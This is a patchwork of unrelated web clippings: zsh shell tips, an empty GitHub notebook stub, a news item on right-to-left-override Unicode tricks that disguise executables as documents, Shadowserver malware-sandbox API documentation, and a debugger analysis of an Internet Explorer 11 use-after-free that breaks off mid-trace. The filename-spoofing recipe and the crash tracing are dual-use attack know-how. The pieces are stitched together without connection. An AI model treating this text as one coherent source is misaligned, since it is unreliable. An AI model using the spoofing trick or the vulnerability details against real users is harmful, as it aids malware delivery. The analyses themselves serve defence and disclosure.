    # Inline aliases, zsh -g aliases can be anywhere in command line
    alias -g G='| grep -'
    alias -g L='| less'
    #this reduces a command like
    ls | grep foo | less
    #to 
    ls G foo L
    # 
    alias -g R=' > /c/aaa/tee.txt '           # redirect
    alias -g T=' | tee /c/aaa/tee.txt '       # tee
    alias -g F=' | fmt -'                     # format
    alias -g W=' | wc -l'                     # wc
    #
    
    
[/code]

* * *
[code]

    # cd by .. or ... or ... or mv file ..../.
    alias '..'='cd ..'
    alias -g ...='../..'
    alias -g ....='../../..'
    alias -g .....='../../../..'
    
    
[/code]

* * *
[code]

    # suffix based alias
    alias -s jpg='/c/program\ files/IrfanView/i_view32.exe'
    now just type the image name to launch irfanview
    
    
[/code]

* * *
[code]

    #magic equals
    vim =some_file                            # edits file anywhere in $PATH
    ls =some_file                             # lists file anywhere in $PATH
    #magic ** (recursion)
    vim **/some_file                          # edits file under under current dir
    # modifying more than one file (multios)
    # writes ls results to file1 & file2 appends to filec
    ls > file1 > file2 >> file3 | wc          # multi-io
    myscript >&1 >output.txt                  # log a script output
    #Redirection to file as well as send on to pipe:
    make install > /tmp/logfile | grep -i error
    
    
    
[/code]

* * *
[code]

    function g{0..9} { gmark $0 $* }          # declaring multiple functions
    
    
[/code]

* * *
[code]

    # zmv "programmable rename"
    autoload -U zmv
    # Replace spaces in filenames with a underline
    zmv '* *' '$f:gs/ /_'
    zmv '(* *)' '${1// /}'
    zmv -Q "(**/)(* *)(D)" "\$1\${2// /_}"
    # Change the suffix from *.sh to *.pl
    zmv -W '*.sh' '*.pl'
    # lowercase/uppercase all files/directories
    $ zmv '(*)' '${(L)1}' # lowercase
    $ zmv '(*)' '${(U)1}' # uppercase
    
    
    
[/code]

* * *
[code]

    #Wonderful zftp (write ftp scripts as though shell)
    
    # init (could be in .zshenv etc)
    autoload -U zfinit  
    zfinit  
    zfparams www.someweb.co.uk myuserid mypassword
    zfopen 
    zfcd tips
    zfls -l zshtips.html
    zfput zshtips.html
    zfls -l zshtips.html
    
    # replace every occurence of a file
    for f in */include/dbcommon.php; do;cp dbcommon.php $f; done
    
    # using vared
    vared -p "choose 1-3 : " -c ans
    case $ans in
     1|a) sdba $key;;
     2|f) sdbf $key;;
     3|i) sdbi $key;;
     *) echo "wrong answer $ans\n" ;;
    esac
    
    # the powerful select
    PROMPT3="Choose File : "
    select f in $(ls **/*.tex |egrep -i "${param}[^/]*.tex")
    do
     if [[ "$REPLY" = q ]]
     then
        break
     elif [[ -n "$f" ]]; then
        gvim $f
     fi
    done
    # editing a variable (You must try this)
    vared PATH
    
    
    
[/code]

* * *
[code]

    bindkey -v # vi mode line editting
    bindkey -M viins '^O' copy-prev-shell-word
    bindkey '^L' push-line # push current command into a buffer, allows you to do another command then returns to previous command
    
    
[/code]

* * *
[code]

    # Prompt at end of command line
    RPROMPT="[%t]" (display the time)
    # colo(u)red prompt
    fg_light_red=$'%{\e[1;31m%}'
    PS3="$fg_light_red Select file : "
    # print fred in blue color
    print '\e[1;34m fred'
    # color module
    autoload colors ; colors
    print "$bg[cyan]$fg[blue]Welcome to man zsh-lovers" >> $TTY
    
    
[/code]

* * *
[code]

    curl -u userid:password -d status=" updating twitter with from curl " http://twitter.com/statuses/update.xml
    
    
[/code]

* * *
[code]

     
    Sources newsgroup gmane.comp.shells.zsh.user
    
    Everything here is **Simple** zsh visit the above newsgroup for the **Sick** stuff
    
    
[/code]

* * *
[code]

    Upload this page (use yy@" on following line, to invoke upload zftp script)!!
    :!zshtipsftp
    
    
[/code]

# nl5887/notebooks

**Created:**| _4/25/2019 6:33:50 AM_  
---|---  
**Updated:**| _4/25/2019 6:33:50 AM_  
**Author:**| __  
**Tags:**| _radare_  
  

  

# nl5887/notebooks

Permalink

### Join GitHub today

GitHub is home to over 31 million developers working together to host and
review code, manage projects, and build software together.

Sign up

_Branch:_ master

##  notebooks/radare2/**IOC extractor.ipynb**

Find file  Copy path

296 lines \(295 sloc\) 10.1 KB

Measure

Measure

# Backwards Unicode names hides malware and viruses - The H Security: News and
Features

**Created:**| _5/15/2011 7:50:26 PM_  
---|---  
**Updated:**| _5/15/2011 7:50:26 PM_  
**Author:**| __  
**Tags:**| _attacks Obfuscation_  
  

« previous |  next »
13 May 2011, 10:51

#  Backwards Unicode names hides malware and viruses

<img src='img/Temp2_982.png' width='250' height='92' />  
Windows can handle right-to-left by default since Vista. <img
src='img/Temp2_985.png' width='16' height='16' alt='Vergrößern' />  
Source: Norman AV vendor Norman has discovered malware that camouflages its
file name via special Unicode characters. For instance, they may show up as
`exe.importantdocument.doc` in the email client or in Windows Explorer.
However, an executable \(EXE\) file that will still be treated as such by the
system, and launched when double-clicked, is hidden behind this file name.

Norman's virus analyst, Snorre Fagerland, says that this effect is caused by
such Unicode characters as 0x202E \(right-to-left override\) and 0x202B
\(right-to-left embedding\). When located in the right place, a file name such
as `cod.stnemucodtnatropmi.exe` suddenly turns into some "important
documents". The telltale "exe" at the beginning can be hidden further. For
instance,

`[RTLO]cod.yrammusevituc[LTRO]n1c[LTRO].exe`

turns into the seemingly harmless `n1c.executivesummary.doc` when displayed in
Explorer, which is unlikely to raise suspicion. However, the system will still
recognise the ".exe" file extension and treat the file accordingly.

<img src='img/Temp2_984.png' width='250' height='98' />  
Ubuntu also responds to the Unicode characters. <img src='img/Temp2_985.png'
width='16' height='16' alt='Vergrößern' /> Windows has supported fonts that
read and are displayed from right to left since Vista; under Windows XP, an
extension package is required. However, the problem is by no means limited to
Windows. Linux can generally also handle Unicode and was found to be
vulnerable to the same spoofing trick when tested by The H's associates at
heise Security. For instance, the ZIP utility and the property dialogue of an
Ubuntu desktop \(10.04 LTS\) also displayed an apparent doc file that was,
however, treated as an exe file and linked to Wine.

<img src='img/Temp2_983.png' width='250' height='59' />  
In Mac OS X, Unicode is also included by default. <img src='img/Temp2_985.png'
width='16' height='16' alt='Vergrößern' /> Mac OS X also displayed the
characters according to the Unicode standard – as the supposedly harmless doc
variant. However, file names and extension doesn't play as important a role on
Macs and Linux as they do under Windows.

The basic problem isn't new. In 2007, The H Security already reported on
misleading file names under Vista – although this was discussed as more of a
theoretical risk at the time. Norman's analyses demonstrate that the trick is
now being used by malware authors, and users will therefore no longer be able
to trust the file names that are being displayed. For instance, if a system
repeatedly switches direction when displaying a file name, not even a
palindrome expert might be able to recognise the what the real file name is.

# Shadowserver Foundation - Services - Sandboxapi

**Created:**| _9/10/2010 9:47:09 AM_  
---|---  
**Updated:**| _9/10/2010 9:47:09 AM_  
**Author:**| _wishi_  
**Tags:**| _Malware-analysis programming sandboxing_  
  

# Sandboxapi

**On this page...** \(hide\)

  * API Documentation
  * Data Usage Restrictions
  * Querying The API
    * Status Query
    * White Listed Entries
    * No Match
    * Anti-Virus Vendor List
    * API Error Handling
  * Extended API
    * Sample Download
    * AV Results
    * Ssdeep Matching

##  API Documentation

The Sandbox API was designed to be simple to understand and easy to use. It's
easy to implement in virtually any application and requires only a small
amount of code. The values returned by the Sandbox API calls can come back as
either text or as binary data.

Note if you have a set of binaries you would like to submit please contact us
we would be happy to add them into the repository.

##  Data Usage Restrictions

We are granting access to the Shadowserver Sandbox API for research purposes
only. You agree not to disseminate or resell the retrieved data to any person
or entity. Access to the Shadowserver Sandbox API is for the exclusive use of
the person & company named on this correspondence. Shadowserver provides the
data with no warranty of any kind, and is not liable in any way for its use by
the subscriber.

##  Querying The API

You send requests \(queries\) to the Sandbox API by using a URL with attached
parameters. The URL goes to the Sandbox API code, is processed, and then
returns a simple string of data that tells you what it found. There are 4
kinds of queries you can send to the API:

###  Status Query

http://innocuous.shadowserver.org/api/?query=\#md5-or-sha1\# Returns the md5,
sha1, first seen date \(UTC\), last seen date \(UTC\), file type, and ssdeep
hash on the first line as a CSV value. The second line is a JSON object
containing antivirus vendor and signature details for the given sample.

  | `"aca4aad254280d25e74c82d440b76f79","6fe80e56ad4de610304bab1675ce84d16ab6988e",\"Tuesday, 15 June 2010 03:09:41",\"Tuesday, 15 June 2010 03:09:41","exe","12288:gOqOB0v2eZJys73dOvXDpNjNe8NuMpX4aBaa48L/93zKnP6ppgg2HFZlxVPbZX:sOA2eZJ8NI8Nah8L/4PqmTVPlX"`  
---|---  
  | `{"AVG7":"Downloader.Generic9.URM","AntiVir":"WORM/VB.NVA","Avast-Commercial":"Win32:Zbot-LRA","Clam":"Trojan.Downloader-50691","DrWeb":"Win32.HLLW.Autoruner.6014","F-Prot6":"W32/Worm.BAOX","F-Secure":"Trojan.Win32.Cosmu.nyl","F-Secure":"Worm:W32/Revois.gen!A","G-Data":"Trojan.Generic.2609117","Ikarus":"Trojan-Downloader.Win32.VB","Kaspersky":"Trojan.Win32.Cosmu.nyl","McAfee":"Generic","NOD32":"Win32/AutoRun.VB.JP","Norman":"Suspicious_Gen2.SKLJ","Panda":"W32/OverDoom.A","QuickHeal":"Worm.VB.at","Sophos":"Troj/DwnLdr-HQY","TrendMicro":"TROJ_DLOADR.SMM","VBA32":"Trojan.VBO.011858","Vexira":"Trojan.DL.VB.EEDT","VirusBuster":"Worm.VB.FMYJ"}`  
#### Example:

`[freed0@paladin test]$ wget -q -O -
http://innocuous.shadowserver.org/api/?query=aca4aad254280d25e74c82d440b76f79`

###  White Listed Entries

Returns the following when the hash is on our whitelist: `! Whitelisted:
Company Name, Application Name, File Name`

#### Example:

[code]

    [freed0@paladin test]$ wget -q -O - http://innocuous.shadowserver.org/api/?query=00000142988AFA836117B1B572FAE4713F200567
    ! Whitelisted: Microsoft, Applications Microsoft Office Family, J0180794.JPG
    
[/code]

###  No Match

Returns the following when no match is found:

`! No match found for #md5-or-sha1#`

#### Example:

[code]

    [freed0@paladin test]$ wget -q -O - http://innocuous.shadowserver.org/api/?query=aca4aad254280d25e74c82d440b76f70
    ! No match found for aca4aad254280d25e74c82d440b76f70
    
[/code]

###  Anti-Virus Vendor List

http://innocuous.shadowserver.org/api/?avvendors Returns a CSV list of vendor
names.

  | `"AVG7","AntiVir","Avast-Commercial","BitDefender","Clam","DrWeb","F-Prot6","F-Secure","G-Data","Ikarus","Kaspersky","McAfee","NOD32","Norman","Panda","QuickHeal","Sophos","TrendMicro","VBA32","Vexira","VirusBuster"`  
---|---  
### API Error Handling

In the event of an API error or query limit, the API will return an
exclamation mark \(\!\) followed by a single space, and then the text of the
error message. For example:

`! Sorry, but that doesn't appear to be a valid API command`

##  Extended API

Access to the extended API calls are controlled by IP/CIDR Whitelisting. To
gain access please send an email to **admin <AT> shadowserver.org** with an
explanation of why you would like access. We will need to know the following
information:

  * IP/CIDR
  * Full Name
  * Phone Number
  * E-Mail address for contact
  * Company

###  Sample Download

https://innocuous.shadowserver.org/api/?download=\#md5\# Returns the malware
sample as a binary download.

###  AV Results

http://innocuous.shadowserver.org/api/?avresult=\#md5\# Returns the anti-virus
results for the specified sample.

[code]

    "name","classification","engine_version","signature_version","timestamp"
    Norman,W32/Opanki.EQ,5.91.10,5.90,2008-02-01 00:00:0
    DrWeb,Win32.HLLM.Brontok,4.33,4.33.0,2008-02-01 00:00:0
    McAfee,W32/Opanki.worm.gen,v5.1.00,v4100,2008-02-01 00:00:0
    NOD32,Win32/VB.ES,"2.70.5,",2841,2008-02-01 00:00:0
    Clam,PUA.Packed.MEW-1,0.92,5110,2008-02-01 00:00:0
    AntiVir,WORM/Brontok.Z.1,2.1.11-58,7.0.2.78,2008-02-01 00:00:0
    F-Prot6,W32/Sillyworm.VS,4.4.2.54,200802010107dcb36f30cb7df6bfd6eb04644a603164,2008-02-01 00:00:0
    F-Prot,W32/Sillyworm.VS,3.16.15,25 January 2008,2008-02-01 00:00:0
    Panda,Adware/AccesMembre,9.04.03.0001,31/01/2008,2008-02-01 00:00:0
    VBA32,Worm.Win32.VB.es,3.12.2.1,2007.07.19,2008-02-01 00:00:0
    Avast,Win32:Vbgen-DZ-MEW,1.0.8,000777-1,2008-02-01 00:00:0
    F-Secure,Worm.Win32.VB.es,1.10  build 6192,2007-12-12_06,2008-02-01 00:00:0
    AVG7,Worm/VB.AKX,7.5.51 442,269.19.18/1254,2008-02-01 00:00:0
    
[/code]

###  Ssdeep Matching

A list of up to 1,000 matching samples at 90% or greater can be obtained with
the following query:

`http://innocuous.shadowserver.org/api/?ssdeep=768:oMzk06sDnriJ3OGKeKNh/UkECjMtvR1VF2r+R5nOwekfZOO7:npDnq+5h/tDSZ15Wwdz7`

# Microsoft Internet Explorer 11 Zero-day

**Created:**| _7/15/2015 1:40:15 PM_  
---|---  
**Updated:**| _7/15/2015 1:40:15 PM_  
**Author:**| __  
**Tags:**| _Microsoft IE_  
  

###

Summary

On July 6th, information spread that the Italian company known as the Hacking
Team were themselves the victims of a cyber attack. In the aftermath of this
leak, Vectra researchers have analyzed the leaked data, and identified a
previously unknown vulnerability in Internet Explorer 11 that impacts a fully
patched IE 11 on both Windows 7 and Windows 8.1.

The hunt for the vulnerability began when we noticed an email from an external
researcher who attempted to sell a proof-of-concept exploit to Hacking Team.
The email was sent on 02/06/2015 and described an exploitable use-after-free
bug in Internet Explorer 11. While Hacking Team ultimately declined to buy the
PoC exploit, the email gave enough information for Vectra researchers to find
and analyze the vulnerability.

While Hacking Team declined to purchase the PoC exploit, there is a chance the
researcher went elsewhere to sell it, meaning that it may have been exploited
in the wild.

### Severity

High

### Versions Affected

Internet Explorer 11.0.9600.17631 / 11.0.16 and also prior versions of IE11.

### Overview

The vulnerability is an exploitable use-after-free \(UAF\) vulnerability that
occurs within a custom heap in JSCRIPT9. Since the vulnerability exists within
a custom heap, it may allow an attacker to bypass memory protection
technologies.

### Vendor Status

Microsoft was notified on July 9th, 2015

### Solution

Microsoft has published a fix for this vulnerability on July 14, 2015 and
additional information can be found at https://technet.microsoft.com/en-
us/library/security/ms15-065.aspx. We recommend users apply this update as
soon as possible.

### Technical Analysis

When perusing the HackingTeam dumps, we came across an email exchange in which
an individual was attempting to sell HT a zero-day. Snippets of the
conversation are below \(via google translate\):

"""

Are you by any chance interested in a PoC \(DEP violation\) last update to
IE11, running on Win7 and Win 8.1? Let me know

Hello is an execution violation sull'eip, I can not control the eip
deterministically but seems controllable by the user and should allow code
execution.

"""

The researcher does not mention the class of bug at all which is odd and
provides no analysis. If we look further in the email chains, we find the POC
and an employee of HT saying basically that it looks interesting and could be
a use after free but basically it looks hard.

"""

I did some testing with fast poc sent, at a glance:>> \- only crashes with
IE11> \- sounds interesting, the value of EIP and EAX, should be a use after
free> \- the poc contains about 80 mutations of the Sun, on the poc old style
of Rosario, which is why the root causes> analysis and exploitation does not
seem trivial.

"""

We got curious about the details of the crash and downloaded the PoC
\(803C696C.94C798F2.131\_2.html\) and removed all the irrelevant artifacts
from the researcher's fuzzer. The result can be seen below.

<img src='img/Temp2_5342.png' width='610'
alt='Screen_Shot_2015-07-13_at_6.14.04_PM' />

Our question is -- Is this bug a use after free, or something else? Lets get
in a debugger and find out\!

\(note offsets may be different due to output being from multiple debugging
sessions\)

If we turn on GFLAGS and load this file into IE11 with windbg attached we see
this promising crash

\(334.b28\): Access violation - code c0000005 \(first chance\) First chance
exceptions are reported before any exception handling. This exception may be
expected and handled. eax=047e0000 ebx=04668d20 ecx=65e9c76d edx=00862f84
esi=00000003 edi=04a2c7b4 eip=047e0000 esp=04a2c5dc ebp=04a2c628 iopl=0 nv up
ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

047e0000 ?? ???

We can certainly see what the HT employee was saying about EAX and EIP at the
time of the crash.

At the time, the top of our callstack looks like this:

028ec510 660082cd 02409d20 00000003 03416f30 0x33e0000

028ec560 66008a05 00000003 028ec6ec ffab2388
jscript9\!Js::JavascriptFunction::CallFunction<1>+0x91 \(FPO: \[Non-Fpo\]\)

028ec5d4 6600893f 01cd50f0 00000003 028ec6ec
jscript9\!Js::JavascriptFunction::CallRootFunction+0xc1 \(FPO: \[Non-Fpo\]\)

028ec61c 660088bf 028ec644 00000003 028ec6ec
jscript9\!ScriptSite::CallRootFunction+0x42 \(FPO: \[Non-Fpo\]\)

028ec64c 6600d0f0 02409d20 028ec674 00000000
jscript9\!ScriptSite::Execute+0x61 \(FPO: \[Non-Fpo\]\)

028ec6a8 6600d02c 00000003 028ec6ec 00000000
jscript9\!ScriptEngineBase::ExecuteInternal<0>+0xbb \(FPO: \[Non-Fpo\]\)

028ec6c0 66e32258 01d1ad10 02409d20 00000003
jscript9\!ScriptEngineBase::Execute+0x1c \(FPO: \[Non-Fpo\]\)

028ec700 66e32166 006eafa8 00000000 00000000
MSHTML\!CMutationObserver::PerformMicrotaskCheckpoint+0x97 \(FPO: \[Non-
Fpo\]\)

028ec784 66ed4211 006fda30 028ec79c 006eafa8
MSHTML\!CObserverManager::InvokeObserversForCheckpoint+0x78 \(FPO: \[Non-
Fpo\]\)

028ec794 66f3f51e 006eafa8 00000000 00008002
MSHTML\!PerformMicrotaskCheckpoint+0x2e \(FPO: \[0,1,0\]\)

We clearly have corrupted EIP and cannot totally rely on the callstack. We
should probably figure out what the callstack actually looks like leading up
to the crash. We can breakpoint at
jscript9\!Js::JavascriptFunction::CallFunction<1> to accomplish this.

This breakpoint is hit several times. On the last time, we step forward until
the next relevant call, which is as below.

eax=06996f30 ebx=04619d20 ecx=6600c780 edx=04a8c738 esi=00000003 edi=04a8c904

eip=660082ca esp=04a8c730 ebp=04a8c778 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!Js::JavascriptFunction::CallFunction<1>+0x8e:

660082ca ff55f4 call dword ptr \[ebp-0Ch\] ss:0023:04a8c76c=6600c780

0:007> dt 6600c780

NativeCodeGenerator::CheckCodeGen

So it looks like we are making an indirect call into CheckCodeGen. Lets step
in. Here jscript9\!NativeCodeGenerator immediately drops into
jscript9\!NativeCodeGenerator::CheckCodeGenThunk. There is one subsequent call
into jscript9\!NativeCodeGenerator::CheckCodeGen, then we end up in this
situation

eax=04870000 ebx=04619d20 ecx=6600c76d edx=057aef84 esi=00000003 edi=04a8c904

eip=6600c78f esp=04a8c72c ebp=04a8c778 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!NativeCodeGenerator::CheckCodeGenThunk+0xd:

6600c78f ffe0 jmp eax \{04870000\}

Here is where EIP gets corrupted. If we take a look at the top of the
callstack

04a8c728 660082cd 04619d20 00000003 06996f30
jscript9\!NativeCodeGenerator::CheckCodeGenThunk+0xd \(FPO: \[2,0,0\]\)

04a8c778 66008a05 00000003 04a8c904 02fd0849
jscript9\!Js::JavascriptFunction::CallFunction<1>+0x91 \(FPO: \[Non-Fpo\]\)

04a8c7ec 6600893f 057928b8 00000003 04a8c904
jscript9\!Js::JavascriptFunction::CallRootFunction+0xc1 \(FPO: \[Non-Fpo\]\)

04a8c834 660088bf 04a8c85c 00000003 04a8c904
jscript9\!ScriptSite::CallRootFunction+0x42 \(FPO: \[Non-Fpo\]\)

04a8c864 6600d0f0 04619d20 04a8c88c 00000000
jscript9\!ScriptSite::Execute+0x61 \(FPO: \[Non-Fpo\]\)

04a8c8c0 6600d02c 00000003 04a8c904 00000000
jscript9\!ScriptEngineBase::ExecuteInternal<0>+0xbb \(FPO: \[Non-Fpo\]\)

04a8c8d8 66e32258 09afcde0 04619d20 00000003
jscript9\!ScriptEngineBase::Execute+0x1c \(FPO: \[Non-Fpo\]\)

04a8c918 66e32166 0674ecc8 00000000 00000080
MSHTML\!CMutationObserver::PerformMicrotaskCheckpoint+0x97 \(FPO: \[Non-
Fpo\]\)

04a8c99c 66ed4211 068a6f98 04a8c9b4 0674ecc8
MSHTML\!CObserverManager::InvokeObserversForCheckpoint+0x78 \(FPO: \[Non-
Fpo\]\)

04a8c9ac 66f3f51e 0674ecc8 00000000 00008002
MSHTML\!PerformMicrotaskCheckpoint+0x2e \(FPO: \[0,1,0\]\)

04a8c9f0 667fde4a 02f3f428 04a8cabc 00008002
MSHTML\!GlobalWndOnMethodCall+0x18b \(FPO: \[Non-Fpo\]\)

04a8ca40 77a6c4e7 007c016e 00008002 00000000 MSHTML\!GlobalWndProc+0x2e5
\(FPO: \[Non-Fpo\]\)

We'd like next to know where this value for EAX in our jmp eax came from. Lets
unassemble CheckCodeGenThunk

0:007> u jscript9\!NativeCodeGenerator::CheckCodeGenThunk

jscript9\!NativeCodeGenerator::CheckCodeGenThunk:

6600c782 55 push ebp

6600c783 8bec mov ebp,esp

6600c785 ff742408 push dword ptr \[esp+8\]

6600c789 e812ffffff call jscript9\!NativeCodeGenerator::CheckCodeGen
\(6600c6a0\)

6600c78e 5d pop ebp

6600c78f ffe0 jmp eax

6600c791 66894daa mov word ptr \[ebp-56h\],cx

6600c795 e909faffff jmp jscript9\!Js::InterpreterStackFrame::Process+0x9b6
\(6600c1a3\)

It appears to come from the return value of
jscript9\!NativeCodeGenerator::CheckCodeGen. If we look in IDA, there are 3
paths that lead to the return of this function.

<img src='img/Temp2_5344.png' width='579' alt='IE_blog_image1' />

We will need to single step this function to get a better grasp. Restarting
the program with a breakpoint at jscript9\!NativeCodeGenerator::CheckCodeGen.

On the last bp hit before the crash, we can set a new breakpoint and follow to
the end of the function.

0:007> bc \*

0:007> bp jscript9\!NativeCodeGenerator::CheckCodeGen+CD

0:007> pa

eax=07416f30 ebx=05209d20 ecx=6600c780 edx=0541c558 esi=00000003 edi=0541c724

eip=6600c6a2 esp=0541c53c ebp=0541c548 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!NativeCodeGenerator::CheckCodeGen+0x2:

6600c6a2 b8e9b72166 mov eax,offset jscript9\!DListBase::DListBase+0x3119
\(6621b7e9\)

/// SNIP ///

eax=0541c518 ebx=00000001 ecx=05209d20 edx=06189f88 esi=05836100 edi=06258f50

eip=660074ec esp=0541c504 ebp=0541c53c iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

jscript9\!NativeCodeGenerator::CheckCodeGen+0x113:

660074ec e80a000000 call jscript9\!NativeCodeGenerator::CheckCodeGenDone
\(660074fb\)

eax=073e0000 ebx=00000001 ecx=073e0000 edx=06189f84 esi=05836100 edi=06258f50

eip=660074f1 esp=0541c504 ebp=0541c53c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!NativeCodeGenerator::CheckCodeGen+0x118:

660074f1 e972520000 jmp jscript9\!NativeCodeGenerator::CheckCodeGen+0xc0
\(6600c768\)

eax=073e0000 ebx=00000001 ecx=073e0000 edx=06189f84 esi=05836100 edi=06258f50

eip=6600c768 esp=0541c504 ebp=0541c53c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!NativeCodeGenerator::CheckCodeGen+0xc0:

6600c768 e8e3cbfeff call jscript9\!\_EH\_epilog3 \(65ff9350\)

Above, we can see our return value is 073e0000, which will later be the
address that will be jumped to, corrupting EIP. This value traces to the
return value of jscript9\!NativeCodeGenerator::CheckCodeGenDone, as indicated
in the image.

<img src='img/Temp2_5343.png' width='579' alt='IE_blog_image2' />

We'd like to check out NativeCodeGenerator::CheckCodeGenDone, pulling a
similar trick

Breakpoint 0 hit

eax=04aac728 ebx=00000001 ecx=045c9d20 edx=058e4f88 esi=047e6100 edi=05a88f50

eip=660074fb esp=04aac710 ebp=04aac74c iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

jscript9\!NativeCodeGenerator::CheckCodeGenDone:

660074fb 8bff mov edi,edi

0:007> bp jscript9\!NativeCodeGenerator::CheckCodeGenDone+0x81

0:007> pa

eax=04aac728 ebx=00000001 ecx=045c9d20 edx=058e4f88 esi=047e6100 edi=05a88f50

eip=660074fd esp=04aac710 ebp=04aac74c iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

jscript9\!NativeCodeGenerator::CheckCodeGenDone+0x2:

660074fd 55 push ebp

/// SNIP ///

Breakpoint 1 hit

eax=04870000 ebx=00000001 ecx=04870000 edx=058e4f84 esi=047e6100 edi=05a88f50

eip=6600757c esp=04aac710 ebp=04aac74c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!NativeCodeGenerator::CheckCodeGenDone+0x7d:

6600757c c3 ret

Our return value here is our familiarly thrashed EIP 04870000. Lets see where
EAX gets set -

eax=04870000 ebx=047e6100 ecx=04870000 edx=058e4f84 esi=047e7120 edi=04870000

eip=66007574 esp=04aac6f8 ebp=04aac70c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!NativeCodeGenerator::CheckCodeGenDone+0x75:

66007574 8bc7 mov eax,edi

Tracing EDI backwards, we can see it was a parameter to
jscript9\!Js::ScriptFunction::UpdateThunkEntryPoint.

eax=058d08b8 ebx=047e6100 ecx=045c9d20 edx=058e4f84 esi=047e7120 edi=04870000

eip=6600756d esp=04aac6f8 ebp=04aac70c iopl=0 nv up ei ng nz na po cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283

jscript9\!NativeCodeGenerator::CheckCodeGenDone+0x6e:

6600756d 57 push edi

eax=058d08b8 ebx=047e6100 ecx=045c9d20 edx=058e4f84 esi=047e7120 edi=04870000

eip=6600756e esp=04aac6f4 ebp=04aac70c iopl=0 nv up ei ng nz na po cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283

jscript9\!NativeCodeGenerator::CheckCodeGenDone+0x6f:

6600756e 53 push ebx

eax=058d08b8 ebx=047e6100 ecx=045c9d20 edx=058e4f84 esi=047e7120 edi=04870000

eip=6600756f esp=04aac6f0 ebp=04aac70c iopl=0 nv up ei ng nz na po cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283

jscript9\!NativeCodeGenerator::CheckCodeGenDone+0x70:

6600756f e8c7540000 call jscript9\!Js::ScriptFunction::UpdateThunkEntryPoint
\(6600ca3b\)

eax=04870000 ebx=047e6100 ecx=04870000 edx=058e4f84 esi=047e7120 edi=04870000

eip=66007574 esp=04aac6f8 ebp=04aac70c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

jscript9\!NativeCodeGenerator::CheckCodeGenDone+0x75:

66007574 8bc7 mov eax,edi

Furthermore, we see it is the same going into the function as coming out of
it, so we will make the bold assumption that it was not modified inside there.
We need to trace EDI back further. The next write operation performed on EDI
occurs as a dereference

eax=058d08b8 ebx=047e6100 ecx=00000000 edx=058e4f84 esi=047e7120 edi=662ef9a0

eip=662371c5 esp=04aac6f8 ebp=04aac70c iopl=0 nv up ei ng nz na po cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283

jscript9\!NativeCodeGenerator::CheckCodeGenDone+0x22fcca:

662371c5 8b7e04 mov edi,dword ptr \[esi+4\] ds:0023:047e7124=04870000

We now need to trace ESI. We can see that ESI comes from a dereference of EAX.

eax=047e7120 ebx=00000001 ecx=045c9d20 edx=058e4f88 esi=047e6100 edi=05a88f50

eip=66007508 esp=04aac6f8 ebp=04aac70c iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

jscript9\!NativeCodeGenerator::CheckCodeGenDone+0xd:

66007508 8b7010 mov esi,dword ptr \[eax+10h\] ds:0023:047e7130=047e7120

Following EAX backwards, we finally get to the source

eax=04aac728 ebx=00000001 ecx=045c9d20 edx=058e4f88 esi=047e6100 edi=05a88f50

eip=66007502 esp=04aac704 ebp=04aac70c iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

jscript9\!NativeCodeGenerator::CheckCodeGenDone+0x7:

66007502 8b4114 mov eax,dword ptr \[ecx+14h\] ds:0023:045c9d34=047e7120

ECX here is the 'this' pointer.

So our return value from jscript9\!NativeCodeGenerator::CheckCodeGenDone, in
this circumstance is is poi\(poi\(poi\(this+0x14\)+0x10\)+0x04\), and that is
what is corrupted.

We can check this assumption by performing the dereference on the this pointer
at the beginning of CheckCodeGenDone:

0:007> dd poi\(poi\(poi\(073d9d20+0x14\)+0x10\)+4\)

07560000 ???????? ???????? ???????? ????????

07560010 ???????? ???????? ???????? ????????

07560020 ???????? ???????? ???????? ????????

07560030 ???????? ???????? ???????? ????????

07560040 ???????? ???????? ???????? ????????

07560050 ???????? ???????? ???????? ????????

07560060 ???????? ???????? ???????? ????????

07560070 ???????? ???????? ???????? ????????

And continuing the process

\(c8c.b84\): Access violation - code c0000005 \(first chance\)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=07560000 ebx=073d9d20 ecx=6600c76d edx=050aef84 esi=00000003 edi=04ecca3c

eip=07560000 esp=04ecc864 ebp=04ecc8b0 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

07560000 ?? ???

We need to figure out how it is corrupted. Lets bounce our debugger again and
set a breakpoint again at jscript9\!NativeCodeGenerator::CheckCodeGen. The
crash happens on the 4th break, so on the third break we check out the this
pointer:

0:007> dd poi\(poi\(068c8d20 + 0x14\)+0x10\)+4

068a7124 6600cc20 00000002 00000000 068a7120

068a7134 00000000 0000011c 018358b8 068a3210

068a7144 068a5121 00000024 068a4300 00000000

068a7154 068a6100 00000000 00000023 00000000

